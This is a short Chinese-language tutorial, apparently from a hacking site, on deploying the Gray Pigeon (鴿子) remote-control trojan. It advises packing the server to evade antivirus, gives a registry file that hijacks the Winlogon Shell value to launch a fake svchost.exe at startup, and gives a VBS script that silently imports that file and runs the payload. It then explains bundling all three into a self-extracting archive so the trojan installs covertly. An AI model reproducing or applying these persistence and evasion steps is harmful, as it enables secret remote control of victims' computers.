[本站原創(chuàng)]鴿子木馬篇

今天寫一個木馬小教程：

鴿子木馬篇

鴿子是一個很好的遠程控制軟件， 效果如何就不多說了

生成鴿子服務端時， win98/2000/xp下寫入注冊表啟動項

和win2000/xp下優(yōu)化安裝成服務啟動項別勾上。

有利于做免殺， 簡單得加個殼就可以卡巴等主流的殺毒軟件， 殼到網上找找

只要去嘗試就可以成功。 到本站上找也行:www.arpun.com

另外得給鴿子加個開機運行。

我們修改注冊表

新建一個文本：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"Shell"="Explorer.exe %windir%\\svchost.exe"

后綴改成run.reg

再建一個文件

on error resume next

dim ws

set ws=wscript.createobject("wscript.shell")

ws.run "regedit -s run.reg",0

ws.run "svchost.exe",0

后綴改成svchost.VBS， 是一個簡單的VBS腳本。

一個注冊表文件和一個VBS腳本， 自已體會一下， 不懂的上網看看資料。

再加鴿子的服務端一共三個文件。

創(chuàng)建一個自解壓壓縮包。 （建議別用捆綁器。 還可以用系統(tǒng)自帶的：iexpress）解壓后運行svchost.vbs

每次系統(tǒng)啟動后都會開機運行。

一個簡單實用的木馬就好了。

隱藏性較高。 還有些更高級的方法， 下次再寫個教程。

關注ARP聯(lián)盟:www.arpun.com

作者：小白。